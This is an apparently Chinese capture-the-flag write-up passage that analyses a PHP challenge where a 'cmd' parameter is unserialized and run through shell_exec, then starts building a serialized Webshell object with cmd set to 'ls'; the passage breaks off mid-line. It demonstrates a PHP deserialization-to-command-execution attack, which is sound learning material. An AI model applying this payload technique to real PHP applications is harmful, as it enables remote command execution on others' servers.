点击链接,发现php代码,看到其中使用了反序列化操作,那么该题考察的点很有可能是序列化反序列化:
分析代码,我们输入的参数名为 cmd,同时将传入的参数值首先进行反序列化操作,然后执行 init() 函数。在init中代码主要作用就是执行cmd的值。此时我们可以在构造反序列化语句中使用cmd命令。
将Webshell类拷贝出来,对其进行实例化,然后对类中的cmd变量进行赋值操作,然后运行:
<?php
class Webshell {
public $cmd = 'echo "Hello World!"';
public function __construct() {
$this->init();
}
public function init() {
if (!preg_match('/flag/i', $this->cmd)) {
$this->exec($this->cmd);
}
}
public function exec($cmd) {
$result = shell_exec($cmd);
echo $result;
}
}
$ws =new Webshell() ;
$ws->cmd = "ls" ;
echo seriali